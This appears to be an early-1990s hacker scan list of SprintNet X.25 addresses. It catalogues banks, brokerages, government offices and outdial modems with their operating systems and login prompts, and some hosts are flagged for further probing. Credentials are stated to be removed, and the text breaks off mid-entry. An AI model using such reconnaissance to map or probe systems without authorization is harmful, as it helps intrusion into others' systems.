<--- Explanation of international format ^^^^^ ^^^ ^^^^^ ^^ | | | | | | | |____ Port Number | | |_________ Network Address | |______________ Network Prefix |___________________ DNIC DNIC : This will be be 03110 for all translations. On some networks, you won't need the leading 0 and can use 3110, and a few networks (DataPac?) use a 1 instead of 0, thus: 13110. Prefix : Throughout this file, it will always be a three digit prefix. Address: You may have to experiment a little to get the correct place holders, but as a general rule they will translate like this: 1 = 00001 11 = 00011 111 = 00111 1111 = 01111 11111 = 11111 Ports : Port numbers range from .1 to .99. The first 27 ports may be alternately displayed as A-Z. Ports are generally not listed as most addresses will find a free port for you if you leave it off, but in some cases you must use it, so they translate like this: .1 or A = 01 .2 or B = 02 and so on... Examples of translated addresses: 201 1.5 = 031102010000105 415 9 = 031104150000900 223 25 = 031102230002500 714 218 = 031107140021800 617 2027 = 031106170202700 If this seems a bit essoteric or confusing, don't worry. A little bit of experimenting will get you on the right track. Notes: ~~~~~~ - You can usually omit leading and trailing 0's - Most networks and PADs do NOT allow any spaces - From SprintNet, you can use either form of address Conventions in this list: ~~~~~~~~~~~~~~~~~~~~~~~~~ Addresses followed by a "$" do not accept collect connections (if you're not coming on from SprintNet, ignore the $). Addresses followed by a "*" do not accept collect connections, and I was unable to connect to them to determine what they are. When both the OS and the RESPONSE fields are left blank, this means that I connected and either couldn't evoke response or got a garbage response. LOGIN/PW's removed from this release. SprintNet Directory ~~~~~~~~~~~~~~~~~~~ 201 - New Jersey Scanned:[0-2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 201 1 $ outdial (201) 201 22 $ outdial (201) 201 25 Unix HP-UX ciathp A.B7.00 U 9000/835 201 30 201 32 D&B Terminal 201 34 $ Prime 201 36 * (incoming call barred) 201 37 $ 201 40 $ Welcome to our PSI via X.29 201 42 * 201 43 $ 201 44 $ 201 45 Prime NewsNet 201 46 $ 201 48 $ VAX/VMS Welcome to MicroVMS V5.3 201 49 $ VAX/VMS 201 53 WELCOME TO COLGATE'S IICS 201 57 * (incoming call barred) 201 58 * (incoming call barred) 201 59 * (incoming call barred) 201 66 $ Prime 201 67 warner computer systems 201 68 warner computer systems 201 69 warner computer systems 201 83 ENTER ID: 201 84 D&B Terminal 201 86 D&B Terminal 201 88 D&B Terminal 201 89 Prudential 201 107 $ outdial (201) 201 108 $ outdial (201) 201 138 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 201 140 $ Enter One Time Password: 201 156 Unix Securities Data Company (SDC7) 201 163 VU/TEXT * PLEASE SIGN ON: 201 164 VU/TEXT * PLEASE SIGN ON: 201 167 DTC DTC01.HP.COM 201 170 Prudential 201 173 MHP201A UPK19130 APPLICATION: 201 174 CRYPTO ENTER "IDX" OR "ID" AND USER ID --> 201 179 APPLICATION: 201 200 D&B Terminal 201 201 D&B Terminal 201 235 * 201 241 $ (immediate hangup) 201 242 D&B Terminal 201 243 D&B Terminal 201 244 D&B Terminal 201 246 D&B Terminal 201 247 VTAM Shearson Lehman Brothers NPSI 201 252 Prime PRIMENET 21.0.6 BOR 201 254 $ Unix field login: 201 257 Please press . . .( 201 259 Please press . . .( 201 271 $ User Access Verification Password: 201 301 $ outdial 201 334 $ HP-3000 : 201 335 * 201 336 $ Concurrent Computer Corporation's DATALINK 201 337 $ out of order 201 339 $ ??? (echo) 201 340 * 201 341 * 201 342 $ Unix ocpt 201 343 $ Enviornmental Control Monitor (PENNET) 201 344 * 201 348 * 201 350 $ $$ 4200 MODEL: $$ 50 DEVICE TYPE IDENTIFIER : 201 355 $ Concurrent Computer Corporation's DATALINK 201 430 * (incoming call barred) 201 465 VAX/VMS V5.5 on VBH301 201 471 Prudential 201 472 APPLICATION: 201 474 Prudential 201 475 Prudential 201 477 VM/CMS? ENTER AS SHOWN: L/LOGON/TSO/INFO/CICS 201 479 VM/CMS 201 730 * 201 770 * 201 830 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE 201 870 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE 201 890 $ INSCI/90 SYSTEM MV-10/13, LOGON PLEASE 201 895 $ INSCI/90 SYSTEM MV-10/10, LOGON PLEASE 201 899 $ (hangs up) 201 910 $ (echo) 201 912 $ (echo) 201 914 $ (echo) 201 916 $ (echo) 201 950 Bankers Trust Online 201 999 $ (hangs up) 201 1030 USER ID 201 1050 VU/TEXT 201 1051 VU/TEXT 201 1052 VU/TEXT 201 1053 VU/TEXT 201 1054 VU/TEXT 201 1055 VU/TEXT 201 1056 VU/TEXT 201 1057 VU/TEXT 201 1059 VU/TEXT 201 1060 VU/TEXT 201 1061 VU/TEXT 201 1062 VU/TEXT 201 1063 VU/TEXT 201 1064 VU/TEXT 201 1065 VU/TEXT 201 1066 VU/TEXT 201 1067 VU/TEXT 201 1068 VU/TEXT 201 1069 VU/TEXT 201 1070 VU/TEXT 201 1071 VU/TEXT 201 1072 VU/TEXT 201 1073 VU/TEXT 201 1074 VU/TEXT 201 1075 VU/TEXT 201 1076 VU/TEXT 201 1077 VU/TEXT 201 1078 VU/TEXT 201 1079 VU/TEXT 201 1135 $ ACCESS BARRED 201 1137 $ Finlay Fine Jewelry Corp. 201 1139 CONNECTED TO PACKET/400 201 1143 $ MHP201A UPK19040 APPLICATION: 201 1156 * 201 1160 Shaw Data Services 201 1163 * (incoming call barred) 201 1164 * (incoming call barred) 201 1168 CONNECTED TO PACKET/400 201 1170.1 $ Johnson and Johnson Network 201 1171 * 201 1172 $ Unix/SCO TCSS 201 1173 * 201 1174 * 201 1176 NSP READY 201 1177 NSP READY 201 1232 VAX/VMS Username: 201 1233 VAX/VMS Username: 201 1243 VAX/VMS Friden Neopost (NJCRAN Node) 201 1251 VM/CMS GSERV 201 1258 VM/CMS GSERV 201 1259 VM/CMS GSERV 201 1263 * (incoming call barred) 201 1264 * (incoming call barred) 201 1265 * 201 1266 * 201 1267 * 201 1268 * 201 1270 201 1272 201 1275 VAX/VMS Shaw Data Services 201 1277 201 1330 * 201 1331 * 201 1332 * 201 1333 $ (echo) 201 1335 $ Environment Control Monitor 201 1340 * 201 1341 * 201 1342 * 201 1343 Prudential 201 1344 Prudential 201 1345 Prudential 201 1346 Prudential 201 1347 Prudential 201 1354 * 201 1359 $ Finlay Fine Jewelry Corp. 201 1370.1 $ HP-3000 CORPHP.CIS.HCC 201 1371 * 201 1372 * 201 1373 * 201 1374 * 201 1375 * 201 1376 * 201 1377 * 201 1378 * 201 1379 $ 201 1430 * (incoming call barred) 201 1431 * (incoming call barred) 201 1432 * (incoming call barred) 201 1433 * (incoming call barred) 201 1434 * (incoming call barred) 201 1435 * (incoming call barred) 201 1442 * 201 1443 * 201 1446 * 201 1454 * 201 1455 * 201 1456 * 201 1460 201 1510 201 2030 Lynx Technologies Inc. 201 2031 VTAM Shearson Lehman Brothers NPSI 201 11234 VAX/VMS 202 - Washington D.C. Scanned: [0 - 3000] & various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 202 1 Prime 202 2 Prime 202 10 Prime 202 12 Prime 202 31 NewsMachine 5.1 202 36 $ NETWORK SIGN-ON FAILED 202 38 $ NETWORK SIGN-ON FAILED 202 42 * 202 48 $ U.S.I.A. Computer Center. 202 49 enter system id -- 202 115 $ outdial (202) 202 116 $ outdial (202) 202 117 $ outdial (202) 202 123 $ xxxx 202 138 $ VAX/VMS Gaullaudet University 202 141 >909 761 User name? 202 142 >909 406 User name? 202 149 $ 202 150 UPI> 202 152 * 202 201 CompuServe User ID: phones 202 202 CompuServe 202 203 CompuServe 202 224 $ outdial (global) 202 235 $ Prime 202 239 $ Prime 202 241 * 202 243 * 202 245 AOS Username: 202 253 * 202 255 Morgan Stanley Network 202 260 $ PLEASE SELECT: TSOMVS, ANOTHER APPLICATION 202 265 $ USER ID 202 266 $ USER ID 202 275 * 202 276 * 202 277 * 202 278 $ USER ID 202 330 * 202 331 * 202 332 * 202 333 * 202 334 * 202 335 * 202 336 VAX/VMS Congressional Quarterly Online Systems 202 337 VAX/VMS Congressional Quarterly Online Systems 202 353 * 202 356 PRIME PRIMENET 22.1.1.R36 SYSA 202 361 * 202 362 * 202 363 * 202 364 * 202 365 Lexis and Nexis 202 366 Lexis and Nexis 202 367 Lexis and Nexis 202 371 * 202 372 * 202 373 * 202 377 * 202 390 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE 202 391 $ #CONNECT REQUESTED TO HOST GSAHOST : CANDE 202 403 $ outdial (202) 202 433 * 202 453 USER ID 202 454 VAX/VMS Connect to GBS 202 455 * 202 456 * 202 458 * 202 459 * 202 465 * 202 466 * 202 467 * 202 468 * 202 469 * 202 472 * 202 477 UPI> 202 478 UPI> 202 479 UPI> 202 550 UPI> 202 616 * 202 617 * 202 1030 * 202 1031 * 202 1032 * 202 1033 * 202 1034 * 202 1155 * 202 1156 * 202 1157 * 202 1158 * 202 1159 * 202 1261 * 202 1262 * 202 1263 * 202 1264 * 202 1265 * 202 1266 * 202 1267 * 202 1268 * 202 1269 * 202 1270 * 202 1323 $ 202 1325 VAX/VMS 202 1363 Enter your User Name: 202 1364.1 Unix System name: fmis 202 1365.3 Unix/SysV X.29 Terminal Service (person) 202 1385 Prime PRIMENET 22.1.3 CGYARD 202 1407 Unix/SysV X.29 Terminal Service (person) 202 1440 VAX/VMS Username: 202 3011 * 202 3012 * 202 3030A ASYNC TO 3270 -> FIRST AMERICAN BANK OF GEORGIA 202 3036 $ GS/1 GS/X.25 Gateway Server 202 3060 * 202 3067 $ Major BBS Power Exchange (adult bbs and chat) Member-ID? new 202 3069 $ E06A26B3 202 3070 $ 202 3071 $ 202 3072 $ 202 3074 $ VAX/VMS Welcome to VAX/VMS V5.5-1 202 3075 * 202 3130 GTE Contel DUAT System (login as visitor) 202 3131 GTE Contel DUAT System (airplane info galore) 202 3134 USER ID 202 3135 USER ID 202 3138 * 202 3139 * 202 3140 * 202 3142 * 202 3145 &StArT& 202 3242 VOS Please login (try 'help') 202 3243 VOS Please login 202 3244 Unix tmn!login: 202 3246 * 202 3247 * 202 3254 VOS Please login 202 3255 VOS Please login 202 3256 VOS Please login 202 3257 (locks up) 202 3258 VOS Please login 202 3259 VOS Please login 202 3260 VOS Please login 202 3261 VOS Please login 202 3262 VOS Please login 202 3263 VOS Please login 202 3264 $ AMS SYSTEM= 202 3269 202 3330 * 202 3332 * 202 3333 * 202 3335 $ NETX A000VD00 READY FOR LOGON 202 3336 $ NETX A000VD00 READY FOR LOGON 202 3337 * 202 3338 * 202 3600 * 202 3601 * 202 3602 * 202 3603 * 202 3604 * 202 3605 * 202 3606 * 202 3611 * 202 3612 * 202 3613 * 202 3614 * 202 3630 * 202 4220 202 4222 202 4226 MSG10-RJRT TERMINAL-ID:GSSCXA63 IS NOW IN SESSION 202 60031 VAX/VMS V5.4-2 202 60033 Unix/SunOS Welcome to QHDS! 202 60035 * 202 60036 NETX A0A0VD00 READY FOR LOGON 202 60039 Unix/SunOS (QHDS.MXBC) 202 60040 Lexis and Nexis 202 60043 * 202 60056 202 60058 * 202 60059 * 202 60060 * 202 60064 * 202 60068 PIN: 202 60069 PIN: 202 60070 PIN: 202 60071 PIN: 202 60073 * 203 - Connecticut Scanned: [0 - 500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 203 22 VM/CMS 203 28 VM/CMS 203 50 CONNECTED TO PACKET/74 203 60 $ GEN*NET Private Switched Data Network 203 61 * 203 62 VAX/VMS ACM Enter SecurID PASSCODE: 203 66 Login Please : 203 67 Login Please : 203 77 * 203 78 $ Novell Netware Access Server (DDS) 203 79 * 203 105 $ outdial (203) 203 120 $ outdial (203) 203 121 $ outdial (203) 203 136 PRIME PRIMENET 20.2.7 SYSA 203 159 $ access barred 203 160 * 203 161 $ Novell Netware Access Server (INFOSYS) 203 165 Panoramic, Inc. PLEASE LOGON: help 203 242 Login Please : 203 274 $ ACF/VTAM 203 277 * (incoming call barred) 203 310 203 317 203 346 * 203 347 SB > 203 350 * 203 362 * (incoming call barred) 203 367 CONNECTED TO PACKET/74 203 434 $ (hangs up) 203 435 $ ACF/VTAM 203 438 $ (echo) 203 442 $ (echo) 203 452 * 203 455 203 458 * (incoming call barred) 203 463 * 203 465 * 205 - Alabama Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 205 237 * 205 245 * 205 246 * 206 - Washington Scanned: [0 - 500] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 206 40 $ Prime PRIMENET 23.2.0.r26 P6450 206 60 * 206 65 PRIME PRIMENET 22.1.4 OAD 206 66 206 67 $ 206 138 $ MHP201A UPK0BY60 * VERSION 5.5.4 *. 206 139 $ Wang VS Logon 206 154 $ DTC THE SEATTLE DTC (DTC01.MACON.USOPM) 206 158 VAX/VMS Username: 206 167 * (incoming call barred) 206 170 $ hp-3000 206 173 $ Renex Connect, SN-00100201 206 205 $ outdial (206) 206 206 $ outdial (206) 206 208 $ outdial (206) 206 239.1$ + Log on please 206 240.1$ ***investigate*** 206 250 $ logins to this workstation temp. barred 206 251 $ Wang SYSTEM TWO (TACOMA:TACOMA) 206 351 * 206 352 * 206 357 $ HP-3000 206 360 CUSTOMER ID: 206 368 * 206 369 * 206 371 $ 206 375 Prime PRIMENET 23.2.0.r26 DZ-BLV 206 430 $ 911 Monitor HATSLNCT is currently not available 206 470 VAX/VMS 206 479 $ + Log on please 207 - Maine Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 207 40 * 207 260 ??? Please login: 208 - Idaho Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 208 236 * 208 250 $ USER ID 208 252 Welcome to the NET, X.29 Password: 209 - California Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 209 241 * 209 243 * 209 245 * 209 246 * 209 270 $ VAX/VMS Continental PET Technologies, MODESTO 209 273 DACS III ***investigate*** 211 - Dun & Broadstreet Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 211 1140 D&B terminal 211 1142 D&B terminal 211 1145 VAX/VMS on VBH302 211 1240 Please enter your terminal id; '?' for MENU 211 1242 D&B terminal 211 1244 Please enter your terminal id; '?' for MENU 211 1245 ??? GNETMAIL 211 2150 Prime 211 2240 DunsNet's User Verification Service 211 2247 DUNSCENTER (connects to many machines) 211 2249 ID?> 211 2255 ID?> 211 2450 Prime 211 2451 Prime 211 3290 CMS? IDC/370 Ready- 211 3291 CMS? IDC/370 Ready- 211 3292 CMS? IDC/370 Ready- 211 3390 CMS? IDC/370 Ready- 211 3391 CMS? IDC/370 Ready- 211 3392 CMS? IDC/370 Ready- 211 3490 CMS? IDC/370 Ready- 211 4190 DunsNet's User Verification Service 211 4240 Enter service code - 211 4241 Enter service code - 211 5140 DTC Nielsen Household Services (DTC03.NY.NPD) 211 5240 VAX/VMS GUMBY... 211 5290 DTC Nielsen Household Services (DTC02.NY.NPD) 211 6140 PLEASE ENTER SUBSCRIBERID;PASSWORD 211 6141 A. C. Nielsen Information Center. 211 6142 A. C. Nielsen Information Center. 211 6145 211 6190 PLEASE ENTER SUBSCRIBERID;PASSWORD 211 6240 A. C. Nielsen Information Center. 211 6250 ??? USERNAME? 211 6290 PLEASE ENTER SUBSCRIBERID;PASSWORD 211 8140 DIALOG INFORMATION SERVICES 211 8142 VAX/VMS Username: 211 11140 VM/CMS VM/370 ONLINE-- 211 11142 VM/CMS VM/370 ONLINE-- 211 11144 VAX/VMS Username: 211 13190 D&B terminal (in spanish) 211 13191 D&B terminal 211 14110 Renex Connect, Enter password - 211 15140 NEODATA SERVICES NETWORK 212 - New York Scanned: [0 - 3000] & various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 212 30 ENTER ID: 212 31 $ VM/CMS 212 34 * 212 40 PLEASE ENTER /LOGIN 212 41 MHP201A UPK05173 APPLICATION: 212 48 * 212 52 $ Prime 212 53 VAX/VMS 212 73 $ Prime 212 79 ENTER ID: 212 100 VAX/VMS Username: 212 101 VAX/VMS Username: 212 102 **** Invalid sign-on, please try again **** 212 103 VAX/VMS Username: 212 104 **** Invalid sign-on, please try again **** 212 105 **** Invalid sign-on, please try again **** 212 106 **** Invalid sign-on, please try again **** 212 108 **** Invalid sign-on, please try again **** 212 109 **** Invalid sign-on, please try again **** 212 110 **** Invalid sign-on, please try again **** 212 112 Shearson Lehman Brothers 212 124 $ VAX/VMS Username: 212 130 you are now connected to the host computer 212 131 Shearson Lehman Brothers 212 137 Prime PRIMENET 22.1.1.R17.STS.6 NY60 212 145 ENTER ACCESS ID: 212 146 ENTER ACCESS ID: 212 152 VAX/VMS Username: 212 170 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 172 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 174 $ TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK 212 197 BANKERS TRUST 212 202 VAX/VMS Username: 212 226 USER ID ? 212 231 $ VM/CMS 212 242 ENTER IDENTIFICATION: 212 255 VAX/VMS (PB2 - PBS Development System) 212 259 VAX/VMS (NYTASD - TAS SYSTEM) 212 260 Bankers Trust Online 212 274 $ INVALID INPUT 212 275 Bankers Trust Online 212 276 * 212 277 ****POSSIBLE DATA LOSS 00 00**** 212 278 Bankers Trust Online 212 279 User: (RSTS V9.3-20) 212 285 Invalid login attempt 212 306 * 212 315 $ outdial (212) 212 320 ENTER IDENTIFICATION: 212 321 ENTER IDENTIFICATION: 212 322 $ COMMAND UNRECOGNIZED 212 336 * 212 344 * 212 345 Prime PRIMENET 23.2.0.R32 NMSG 212 352 * 212 359 (drops connection right away) 212 376 -> 201 950 Bankers Trust Online 212 430 -> 312 59 Id Please: User Id: Password: 212 432 * 212 437 * 212 438 * 212 440 * 212 444 Prime PRIMENET 21.0.7.R31 EMCO 212 446 $ VAX/VMS 212 449 $ VM/CMS 212 500 enter a for astra 212 501 enter a for astra 212 502 enter a for astra 212 503 enter a for astra 212 504 enter a for astra 212 505 enter a for astra 212 509 $ Transamerican Leasing (White Plains Data Center) 212 539 (drops connections right away) 212 546 $ APLICACAO: 212 549 $ BT-Tymnet Gateway 212 561 VAX/VMS Username: 212 571 You are not authorized to connect to this machine. 212 572 $ No access to this DTE. 212 580 enter a for astra 212 603 Shearson Lehman Brothers 212 615 Shearson Lehman Brothers 212 623 Shearson Lehman Brothers 212 693 $ USER ID 212 703 Unix 212 704 Unix 212 713 Prime PRIMENET 22.1.1.R17.STS.6 NY60 212 726 $ VAX/VMS 212 731 212 970 * 212 971 * 212 972 * 212 973 * 212 974 * 212 975 * 212 976 * 212 977 * 212 978 * 212 979 * 212 1000 $ Enter ID: 212 1001 $ Enter ID: 212 1002 $ Enter ID: 212 1004 $ Enter ID: 212 1009 $ outdial (212) 212 1045 $ HP-3000 White & Case - HP 3000 Computer System 212 1046 * 212 1049 APPLICATION: 212 1050 NSP READY? 212 1052 Prime PRIMENET 20.2.4.R11 FTC0 212 1053 VAX/VMS 212 1065 $ AOS Track Data System 12 212 1069 # 212 1071 $ GS/1 CS/100T> 212 1072 $ GS/1 CS/100T> 212 1076 NSP READY 212 1233 * 212 1355 * 212 1356 * 212 1367 You are not authorized to connect to this machine. 212 1373 enter a for astra 212 1450 RadioSuisse Services. 212 1469 212 1477 n042ppp> enter system id 212 1478 n042ppp> enter system id 212 2050B Unix softdollar login: 212 2050D Unix softdollar login: 212 2060 $ T.S.S.G 212 2061 $ Boston Safe Deposit and Trust Company 212 2062 $ TWX40 LOGGED INTO AN INFORMATION SERVICES NETWORK 212 2071 VM/CMS GSERV 212 2079 VM/CMS GSERV 212 2130 $ (echo) 212 2131 $ (echo) 212 2134 $ (echo) 212 2135 $ (echo) 212 2230 $ (echo) 212 2231 $ (echo) 212 2234 $ (echo) 212 2235 $ (echo) 212 2245 $ Finlay Fine Jewelry Corp. 212 2250 VAX/VMS Username: 212 2251 **** Invalid sign-on, please try again **** 212 2252 **** Invalid sign-on, please try again **** 212 2253 **** Invalid sign-on, please try again **** 212 2254 **** Invalid sign-on, please try again **** 212 2270 **** Invalid sign-on, please try again **** 212 2271 **** Invalid sign-on, please try again **** 212 2272 **** Invalid sign-on, please try again **** 212 2273 **** Invalid sign-on, please try again **** 212 2274 **** Invalid sign-on, please try again **** 212 60002 You are not authorized to connect to this machine. 212 60007 You are not authorized to connect to this machine. 212 60010 You are not authorized to connect to this machine. 212 60031 VM/CMS 212 60032 ENTER ID: 212 60033 Prime CDA Online Services 212 60034 CHANNEL 03/009. ENTER RESOURCE 212 60037 VAX/VMS MuniView 212 60044 * 212 60051 * 212 60055 USER ID 213 - California Scanned: [0 - 2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 213 21 Prime PRIMENET 23.2.0.R32 C6 213 22 Prime PRIMENET 23.2.0.R32 D6 213 23 $ outdial (213) 213 24 Marketron Research and Sales System 213 25 $ outdial (213) 213 35 Marketron Research and Sales System 213 41 $ (echo) 213 45 $ ENTER NETWORK SIGN-ON: 213 50 $ (echo) 213 52 $ Prime 213 53 CONNECTED TO PACKET/74 213 55 CONNECTED TO PACKET/74 213 56 CONNECTED TO PACKET/74 213 60 CONNECTED TO PACKET/74 213 61 CONNECTED TO PACKET/74 213 68 * 213 70 * 213 102 Prime PRIMENET 21.0.7.R10 TRWE.A 213 103 $ outdial (213) 213 105 Prime PRIMENET 22.1.3.beta1 SWOP 213 121 Prime PRIMENET 23.0.0 SWWE1 213 122 Unix Computervision Los Angeles District Admin System 213 123 Prime PRIMENET 23.3.0.r29 SWWA1 213 129 Prime PRIMENET 22.0.3vA CALMA1 213 151 Prime PRIMENET 22.1.3 CSSWR1 213 154 Prime PRIMENET 22.1.1.R27 SWWCR 213 155 Prime PRIMENET 22.1.3 CS.LA 213 199 Prime PRIMENET 23.2.0.R32 C6 213 220A TELENET ASYNC TO 3270 SERVICE 213 221A TELENET ASYNC TO 3270 SERVICE 213 248 * 213 249 * 213 262 * 213 265 * 213 340 Prime PRIMENET 23.2.0 TRNGW 213 336 * 213 337 $ HP-3000 213 351 Unix/SunOS SunOS Release 4.1.2 (X25) 213 357 Unix/SunOS SunOS Release 4.1.1 (X25) 213 359 Unix 213 371 * 213 373 HP-3000 SAGAN.HP.COM 213 412 $ outdial (213) 213 413 $ outdial (213) 213 540 * 213 541 * 213 542 * 213 543 * 213 660 213 1052 $ Environment Control Monitor 213 1053 $ Unix milpitas login: 213 1054 * 213 1055 $ Environment Control Monitor 213 1056 * 213 1057 $ Denver Service System (ECM) 213 1064 * 213 1065 HP-3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 213 1073 213 1079 * 213 1160 * 213 1418 * 213 1419 * 213 1420 * 213 1421 * 213 1422 * 213 1423 * 213 1424 * 213 1425 * 213 1426 * 213 1427 * 213 1428 * 213 1429 * 213 1430 * 213 1450 MACNET: 214 - Texas Scanned: [0 - 2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 214 20 SIM3278 214 21 SIM3278 214 22 $ outdial (214) 214 42 VAX/VMS Username: 214 60 HP-3000 DELTA.RCO.NTI 214 68 $ VAX/VMS GTECVC 214 76 Cyber Power Computing Cyber Service 214 231 214 240 214 245 * 214 337 214 352 IST451I ENTER VALID COMMAND - NETX B0A8VD00 214 355 * 214 358 * 214 364 $ VAX/VMS GTECVC 214 366 Renex Connect, Enter service code - 214 371 Prime PRIMENET 21.0.2S GCAD.. 214 372 214 373 * 214 1031 * 214 1032 * 214 1033 * 214 1034 $ (echo) 214 1035 * 214 1040 $ (echo) 214 1048 Renex Connect, Enter terminal type or "M" for menu 214 1070 BT-Tymnet Gateway please log in: information 214 1071 Cyber You may enter CDCNET commands. 214 1075 Cyber You may enter CDCNET commands. 214 1131 * 214 1151 VAX/VMS Username: 214 1152 * 214 1153 214 1158 * 214 1161 VAX/VMS Username: 214 1230 * 214 1237 214 1238 214 1241 * 214 1242 * 214 1243 * 214 1244 * 214 1245 * 214 1246 * 214 1247 * 214 1248 * 214 1249 * 214 1250 * 214 1251 * 214 1252 * 214 1253 * 214 1254 * 214 1255 * 214 1256 * 214 1257 * 214 1258 * 214 1260 * 214 1261 * 214 1262 * 214 1263 * 214 1264 * 214 1265 VAX/VMS Username: 214 1277 * 214 1278 * 214 1334 * 214 1335 * 214 1336 * 214 1337 * 214 1338 * 214 1339 * 214 1340 * 214 1341 * 214 1343 * 214 1358 * 214 1359 * 214 1362 VAX/VMS Username: 214 1363 * 214 1364 * 214 1365 * 214 1366 * 215 - Pennsylvania Scanned: 0 - 300 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 215 5 $ outdial (215) 215 22 $ outdial (215) 215 30 * 215 38 * 215 40 VU/TEXT 215 44 * 215 55 * 215 60 * 215 66 Prime NewsNet 215 112 $ outdial (215) 215 121 VM/CMS TOWERS PERRIN ONLINE--PHILA 215 134 * 215 135 VU/TEXT 215 139 * 215 140 VU/TEXT 215 143 * 215 154 215 163 Unix 215 164 Unix 215 165 Unix 215 166 Unix 215 167 Unix 215 168 Unix 215 169 Unix 215 170 Unix 215 171 Unix 215 172 * 215 173 * 215 176 * 215 179 Unix PLASPEC Engineering & Marketing Network 215 231 215 251 Unix 215 252 Unix 215 253 Unix 215 254 Unix 215 255 Unix 215 261 VAX/VMS File Transfer and Gateway Service Node ARGO 215 262 215 263 215 263 215 264 %@CVTTAUD@dUYECVGUIiED 215 270 CONNECTED TO PACKET/400 215 530 $ 215 531 $ 215 532 $ 215 533 $ 215 534 $ 215 535 $ 215 536 $ 215 537 $ 215 538 $ 215 539 $ 215 540 $ 215 541 $ 216 - Ohio Scanned: [0 - 2000] ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 216 20 $ outdial (216) 216 21 $ outdial (216) 216 38 VAX/VMS Username: 216 49 216 51 * 216 59 * 216 60 APPLICATION: 216 63 * 216 64 Prime PRIMENET 20.2.4 LIPC 216 74 $ hp-x000 216 75 * 216 120 $ outdial (216) 216 134 * 216 135 * 216 140 216 201 $ HP-3000 216 202 * 216 203 * 216 204 * 216 205 * 216 209 * 216 210 * 216 211 * 216 212 $ HP-3000 216 530 * 216 531 * 216 532 * 216 533 * 216 534 * 216 535 * 216 536 * 216 537 * 216 538 * 216 539 $ (echo) 216 1351 Prime PRIMENET 22.1.4 OPSPRO 216 1352 Prime Good morning 216 1353 Prime PRIMENET 22.1.4 OPSPRO 216 1354 Prime Good morning 216 1355 $ Prime PRIMENET 22.1.4.R63 OPSSEC 216 1356 * 216 1357 Prime Good morning 216 1358 Prime PRIMENET 22.1.4 OPSPRO 216 1369 * 216 1370 * 216 1371 * 216 1372 * 217 - Illinois Scanned: 0 - 200 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 217 45 * 217 46 * 219 - Indiana Scanned: 0 - 200 ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 219 3 Prime PRIMENET 22.1.0vA2 NODE.0 219 8 Prime PRIMENET 23.2.0vA NODE.8 219 9 ENTER GROUP NAME> 219 10 Lincoln National Corporation 219 35 $ MHP201A ZMA0PZ10 * VERSION 6.0.1 *. 219 140 Prime PRIMENET 23.2.0vA CS.FTW 219 150 * 222 - unknown Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 222 100 Prime 222 140 Prime 222 320 Prime 222 340 223 - Citibank Scanned: various ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW ---------- ----------- ------------------------------------------------- 223 1 $ GS/1 CITITRUST/WIN Gateway! (Toll 25 cents) 223 6 PLEASE ENTER TRANSACTION ID: 223 10 Prime 223 11 Prime 223 13 Prime 223 15 Prime 223 17 CDS DATA PROCESSING SUPPORT 223 19 $ HP-3000 223 26 NETWORK USER VALIDATION. 223 31 223 32 enter a for astra 223 34 NETWORK USER VALIDATION. 223 35 VAX/VMS TREASURY PRODUCTS 223 39 Major BBS GALACTICOMM User-ID? new 223 40 Global Report from Citicorp 223 41 VOS (other systems connect from there) 223 42 CITICORP/CITIBANK - 0005,PORT 3 223 46 $ Enter Secure Access ID -02-> 223 47 CCMS 223 48A CITIBANK ,PORT 5 223 50 Prime 223 54 CITI CASH MANAGEMENT NETWORK - 223 55 NETWORK USER VALIDATION. 223 57 223 65 VOS 223 68 $ Citimail II 223 70 ELECTRONIC CHECK MANAGER ENTER 'ECM' 223 71 "" 223 74A "" 223 79 VAX/VMS Audit login --- Your session will be recorded. 223 87 VOS CitiShare Milwaukee, Wisconsin 223 91 VAX/VMS Unauthorized Use Is Prohibited 223 92 <> 223 93 Major BBS? Citibank Customer Delivery Systems (#95298116) 223 94 <> 223 95 223 96 <> 223 103 <> 223 104 $ VAX/VMS 223 